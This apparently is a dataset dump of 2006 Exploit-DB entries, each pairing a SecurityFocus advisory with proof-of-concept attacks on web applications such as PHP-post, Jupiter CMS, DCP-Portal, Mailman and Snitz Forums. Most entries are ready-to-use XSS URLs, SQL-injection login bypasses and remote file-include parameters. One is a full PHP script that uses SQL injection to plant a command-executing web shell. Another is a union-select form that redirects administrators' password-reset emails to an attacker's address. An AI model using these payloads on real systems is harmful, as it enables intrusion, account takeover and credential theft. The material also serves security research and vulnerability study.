QLWD/code_shield huggingface dataset:
标题: Hitweb 3.0 - 'REP_CLASS' Multiple Remote File Inclusions EDB-ID: 28590 CVE: 2006-4848 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20060/info

Hitweb is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This BID is being retired. The specified parameter is defined and cannot contain an attacker-specified value.

Hitweb is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This BID is being retired. The specified parameter is defined and cannot contain an attacker-specified value.

http://www.example.com/[path]/index.php?REP_CLASS=[shell]
http://www.example.com/[path]/arbo.php?REP_CLASS=[shell]
http://www.example.com/[path]/framepoint.php?REP_CLASS=[shell]
http://www.example.com/[path]/genpage.php?REP_CLASS=[shell]
http://www.example.com/[path]/lienvalider.php?REP_CLASS=[shell]
http://www.example.com/[path]/appreciation.php?REP_CLASS=[shell]
http://www.example.com/[path]/partenariat.php?REP_CLASS=[shell]
http://www.example.com/[path]/rechercher.php?REP_CLASS=[shell]
http://www.example.com/[path]/projet.php?REP_CLASS=[shell]
http://www.example.com/[path]/propoexample.php?REP_CLASS=[shell]
http://www.example.com/[path]/refererpoint.php?REP_CLASS=[shell]
http://www.example.com/[path]/top50.php?REP_CLASS=[shell] URL: https://www.exploit-db.com/exploits/28590
标题: PT News 1.7.8 - 'search.php' Cross-Site Scripting EDB-ID: 28601 CVE: 2006-4917 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/20090/info

PT News is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ptnews-1.7.8/search.php?pgname=[xss] URL: https://www.exploit-db.com/exploits/28601
标题: Innovate Portal 2.0 - 'index.php' Cross-Site Scripting EDB-ID: 28603 CVE: 2006-4915 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/20104/info

Innovate Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?content=[xss] URL: https://www.exploit-db.com/exploits/28603
标题: Symantec (Multiple Products) - 'SymEvent' Driver Local Denial of Service EDB-ID: 28588 CVE: 2006-4855 类型: DOS 平台: WINDOWS 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/20051/info

Multiple Symantec products are prone to a local denial-of-service vulnerability. This issue occurs when attackers send malformed data to the 'SymEvent' driver.

A local authenticated attacker may exploit this issue to crash affected computers, denying service to legitimate users.

Please see the vulnerable systems section for details regarding affected Symantec products.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28588.zip URL: https://www.exploit-db.com/exploits/28588
标题: PHP-post Web Forum 0.x.1.0 - 'profile.php' Multiple SQL Injections EDB-ID: 28591 CVE: 2006-4877 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20061/info

PHP-Post is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* PhP-post Sql injection Remote Command execution Exploit
/*                 By : HACKERS PAL
/*                   WwW.SoQoR.NeT
*/
print_r('
/***********************************************/
/* PHP-post remote sql injection make phpshell */
/*   by HACKERS PAL <security@soqor.net>       */
/*       site: http://www.soqor.net            */');
if ($argc<2) {
print_r('
/* --                                          */
[-] Usage: php '.$argv[0].' host
[-] Example:
[-] php '.$argv[0].' http://localhost/phpp
/***********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit1="/footer.php?template=11hack11";

         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

     $page = get_page($url.$exploit1);

             $pa=explode("<b>",$page);
             $pa=explode("</b>",$pa[2]);
             $path = str_replace("footer.php","",$pa[0])."soqor.php";
             $var='\ ';
             $var  = str_replace(" ","",$var);
             $path = str_replace($var,"/",$path);
             $exploit2="/profile.php?user='%20union%20select%201,'<?php%20','system(','".'$_GET[cmd]'."',');','die();','?>',8,9,10,11,12,13,14,15,16,17,1
8,19,20,21%20INTO%20OUTFILE%20'$path'%20from%20phpp_users/*";
     $page_now = get_page($url.$exploit2);
     Echo "\n[+] Go TO $url/soqor.php?cmd=id\n[+] Change id to any command you want :)";
     Die("\n/* Visit us : WwW.SoQoR.NeT                    */\n/***********************************************/");

?> URL: https://www.exploit-db.com/exploits/28591
标题: Jupiter CMS 1.1.4/1.1.5 - '/modules/mass-email.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28584 CVE: 2006-4874 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/20048/info
   
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.
  
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20title]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc2]=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28584
标题: Apple Mac OSX 10.x - KExtLoad Buffer Overflow EDB-ID: 28578 CVE: 2006-4866 类型: DOS 平台: OSX 发布日期: 2006-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/20034/info

Apple Mac OS X kextload is prone to a buffer-overflow vulnerability because it fails to sufficiently bounds-check user-supplied data before copying it to a finite-sized memory buffer.

This issue is not exploitable by itself, because kextload is not installed as a setuid-superuser application by default. To exploit this issue, an attacker must use another program running with elevated privileges to directly manipulate the arguments passed to kextload.

An attacker can exploit this issue to execute arbitrary machine code with superuser privileges. A successful exploit may result in the complete compromise of the affect computer.

Example kextload buffer-overflow vulnerability affecting TDIXsupport: 

netragard-test:$ sudo ktrace -di ./TDIXSupport `perl -e 'print "A" x 1000'`/TDIXController.kext 
... 
1067 security_authtra CALL sendto(0x7,0xbfffde14,0x36,0,0,0) 
1067 security_authtra GIO fd 7 wrote 54 bytes 
~ "<37>Jul 8 11:31:58 authexec: executing /sbin/kextload" 
1067 security_authtra RET sendto 54/0x36 
1067 security_authtra CALL execve(0xbfffec61,0xbfffebb4,0x300af0) 
1067 security_authtra NAMI "/sbin/kextload" 
... 
1067 kextload PSIG SIGSEGV SIG_DFL 
1066 TDIXSupport GIO fd 7 read 0 bytes 
~ "" 
1066 TDIXSupport RET read 0 
1066 TDIXSupport CALL close(0x7) 
1066 TDIXSupport RET close 0 
1066 TDIXSupport CALL exit(0xe00002c0) URL: https://www.exploit-db.com/exploits/28578
标题: ClickBlog! 2.0 - 'default.asp' SQL Injection EDB-ID: 28577 CVE: 2006-4857 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/20033/info

ClickBlog! is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

ClickBlog! 2.0 and earlier versions are reported vulnerable.

http://www.example.com/[path]/default.asp

Username : ' or '
Password : ' or ' and Login Ok URL: https://www.exploit-db.com/exploits/28577
标题: Jupiter CMS 1.1.4/1.1.5 - modules/register Multiple SQL Injections EDB-ID: 28586 CVE: 2006-4876 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/20048/info
     
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
     
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.
 
if magic_quotes_gpc = off login with user name : ' or id=1/* or ' or authorization = 4/* 
index.php?n=http://www.example.com/modules/register&a=3&d=3&key='%20or%20id=1/* 
You will be able to change the password for any user .. know his id and put it in the url. -- or you can use this form by changing http://localhost/jupiter/ to the website dir to recive reset password email to all the administrators <form method="post" action="http://localhost/jupiter/index.php?n=http://www.example.com/modules/register"> <table class="main" cellspacing="1" cellpadding="4" width="100%"> <tr class="head"> <td colspan="2" class="head">Forgot your password?</td> </tr> <tr> <td class="con1" width="42%" valign="middle"><span class="hilight">Username:</span></td> <td class="con1" width="58%" valign="bottom"><input type="text" name="fpwusername" style="width:100%" class="box" tabindex="5" value="' union select id,authorization ,username ,password ,'security@soqor.net',url,age,flag,location,registered,lastvisit,forum_lastvisit,ip,forumposts,signature,aboutme,msn,yahoo,icq,aim,skype,avatar,hideemail,templates,ca lendarbday,status,multikey,actime from users where id=1or authorization=4/*"></td> </tr> <tr> <td class="con1"><input type="button" style="width:100" class="box" value="Back" onClick="window.history.go(-1);" tabindex="8"></td> <td class="con1" align="right"><input type="submit" style="width:100" class="box" value="Submit" tabindex="7"></td> </tr> <input type="hidden" name="a" value="3"> <input type="hidden" name="d" value="1"> </table> </form> put the user name value Change security@soqor.net to your email ' union select id,authorization ,username ,password ,'security@soqor.net',url,age,flag,location,registered,lastvisit,forum_lastvisit,ip,forumposts,signature,aboutme,msn,yahoo,icq,aim,skype,avatar,hideemail,templates,ca lendarbday,status,multikey,actime from users where id=1or authorization=4/* URL: https://www.exploit-db.com/exploits/28586
标题: Jupiter CMS 1.1.4/1.1.5 - '/modules/register.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28583 CVE: 2006-4874 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/20048/info
  
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.
 
http://www.example.com/modules/register.php?is_guest=1&language[Register%20title]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/register.php?is_guest=1&language[Register%20title2]=<script>alert(document.cookie);</script>
http://www.example.com/modules/register.php?is_guest=1&a=3&language[Forgotten%20title]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/register.php?is_guest=1&a=3&language[Forgotten%20desc]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/register.php?is_guest=1&a=3&language[Forgotten%20desc2]=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28583
标题: Blojsom 2.31 - Cross-Site Scripting EDB-ID: 28574 CVE: 2006-4829 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/20026/info

Blojsom is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

To demonstrate the vulnerability, simply embed the following encoded text into the identified vulnerable fields. 

'><script>alert(1234)</script> 

This will have the effect of popping up an alert window. This proof of concept could easily be altered to cause the script to return authentication credentials to an attacker-controlled server. URL: https://www.exploit-db.com/exploits/28574
标题: DCP-Portal 6.0 - '/admin/inc/header.inc.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28572 CVE: 2006-4838 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/20024/info
 
DCP-Portal is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.
 
Version 6.0 Standard Edition is vulnerable to these issues; other versions may also be affected.

http://www.example.com/admin/inc/header.inc.php?root_url="><Script>alert(document.cookie);</script><"
http://www.example.com/admin/inc/header.inc.php?page_top_name=<Script>alert(document.cookie);</script>
http://www.example.com/admin/inc/header.inc.php?page_name=<Script>alert(document.cookie);</script>
http://www.example.com/admin/inc/header.inc.php?page_options=<Script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28572
标题: Jupiter CMS 1.1.4/1.1.5 - '/modules/search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28585 CVE: 2006-4874 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/20048/info
    
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.

http://www.example.com/modules/search.php?language[Search%20view%20desc]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/search.php?language[Search%20view%20desc2]=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28585
标题: DCP-Portal 6.0 - 'login.php?Username' SQL Injection EDB-ID: 28573 CVE: 2006-4836 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/20024/info
  
DCP-Portal is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.
  
Version 6.0 Standard Edition is vulnerable to these issues; other versions may also be affected.

login
try the user name as
' or uid=1/* URL: https://www.exploit-db.com/exploits/28573
标题: Jupiter CMS 1.1.4/1.1.5 - '/modules/blocks.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28582 CVE: 2006-4874 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/20048/info
 
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.

http://www.example.com/modules/blocks.php?is_webmaster=2&language[Admin%20name]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/blocks.php?is_webmaster=2&language[Admin%20back]=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28582
标题: Jupiter CMS 1.1.4/1.1.5 - 'galleryuploadfunction.php' Arbitrary File Upload EDB-ID: 28581 CVE: 2006-4875 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/20048/info

Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.

Upload any picture to their gallery http://www.example.com/modules/galleryuploadfunction.php picture path will be gallery/albums/public/name.ext URL: https://www.exploit-db.com/exploits/28581
标题: DCP-Portal 6.0 - '/admin/inc/footer.inc.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28571 CVE: 2006-4838 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/20024/info

DCP-Portal is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.

Version 6.0 Standard Edition is vulnerable to these issues; other versions may also be affected.

http://www.example.com/admin/inc/footer.inc.php?root_url="><Script>alert(document.cookie);</script><"
http://www.example.com/admin/inc/footer.inc.php?dcp_version=<Script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28571
标题: Mailman 2.1.x - Multiple Input Validation Vulnerabilities EDB-ID: 28570 CVE: 2006-3636 类型: WEBAPPS 平台: CGI 发布日期: 2006-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/20021/info

Mailman is prone to multiple input-validation vulnerabilities because the application fails to sanitize user-input. These issues include multiple cross-site scripting vulnerabilities and a CRLF-injection vulnerability. 

A successful exploit of these issues could allow an attacker to steal cookie-based authentication credentials, add additional content to the log file, possibly hide current attacks, or launch phishing-style attacks; other attacks may also be possible.

Versions between 2.1.0 and 2.1.8 are vulnerable to this issue; other versions prior to 2.1.0 may also be affected.

http://www.example.com/mailman/admin/mailman/members?findmember=%22%3E%3Cscript%3Ealert(0)%3B%3C/script%3E%3Cx%20y=%22 http://www.example.com/mailman/edithtml/tests/listinfo.html?html_code=

XSS%20demo

http://www.example.com/mailman/listinfo/doesntexist%22:%0D%0AJun%2012%2018:22:08%202033%20mailmanctl(24851):%20%22Your%20Mailman%20license%20has%20expired.%20Please%20obtain%20an% 20upgrade%20at%20www.phishme.site URL: https://www.exploit-db.com/exploits/28570
标题: Snitz Forums 2000 - 'forum.asp' Cross-Site Scripting EDB-ID: 28566 CVE: 2006-4796 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20004/info

Snitz Forums 2000 is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

This could allow an attacker to steal cookie-based authentication credentials and launch other attacks.

Version 3.4.06 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/forum.asp?FORUM_ID=1&ARCHIVE=true&sortfield=lastpost&sortorder="><script>function%20xssbaslat(){alert("Xss%20Here");}</script><body%20onload="xssbaslat()"> etc.. URL: https://www.exploit-db.com/exploits/28566